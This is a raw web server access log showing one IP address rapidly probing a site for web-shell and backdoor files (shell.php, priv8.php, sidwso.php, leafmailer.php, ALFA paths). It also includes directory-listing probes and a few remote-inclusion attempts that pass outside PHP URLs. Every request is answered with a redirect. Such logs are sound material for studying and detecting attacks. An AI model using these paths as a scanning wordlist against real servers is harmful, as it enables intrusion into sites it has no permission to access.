"-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:26 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:26 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:27 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:27 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:28 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:28 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:29 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:29 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:30 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:31 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:31 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:32 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:32 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:33 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:33 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:34 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:35 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:35 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:36 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:36 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:37 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:38 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:38 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:39 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:40 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:40 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:41 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:41 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:42 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:43 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:43 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:44 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:44 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:45 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:46 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:46 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:47 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:47 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:48 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:49 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:49 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:50 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:50 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:51 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:52 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:53 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:54 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:54 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:55 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:55 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:56 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:57 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:57 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:58 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:58 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:59 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:58:59 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:00 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:01 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:01 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:02 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:03 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:04 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:04 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:05 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:06 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:06 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:07 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:07 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:08 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:08 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:09 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:10 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:10 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:11 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:12 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:12 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:13 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:14 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:14 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:15 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:15 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:16 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:16 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:17 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:18 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:18 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:19 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:20 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:20 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:21 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:21 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:22 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:22 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:23 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:24 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:24 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:25 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:25 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:26 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:27 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:28 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:28 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:29 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:30 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:30 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:31 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:32 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:33 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:33 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:34 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:35 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:35 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:36 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:36 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:37 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:37 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:38 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:39 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:39 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:40 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:41 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:41 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:42 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:42 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:43 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:44 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:44 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:45 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:46 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:46 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:47 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:48 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:48 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:49 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:50 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:50 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:51 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:52 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:52 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:53 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:54 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:54 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:55 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:55 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:56 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:56 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:57 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:58 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:58 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:07:59:59 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:00 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:00 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:01 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:01 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:02 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:04 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:07 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:08 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:10 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:12 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:15 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:16 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:18 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:20 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:22 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:23 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:24 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:25 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:25 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:26 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:27 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:28 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:28 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:29 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:30 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:32 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:33 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:34 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:34 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:35 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:36 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:36 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:37 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:37 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:38 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:39 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:39 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:40 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:41 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:41 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:42 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:42 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:43 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:44 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:44 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:45 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:45 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:46 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:47 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:48 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:48 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:49 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:50 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:50 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:51 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:52 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:52 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:53 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:54 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:54 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:55 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:56 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:56 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:57 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:58 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:58 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:00:59 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:00 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:01 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:01 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:02 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:03 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:04 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:05 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:06 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:06 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:07 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:08 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:09 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:10 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:12 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:14 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:15 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:16 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:17 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:18 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:18 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:19 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:19 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:20 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" 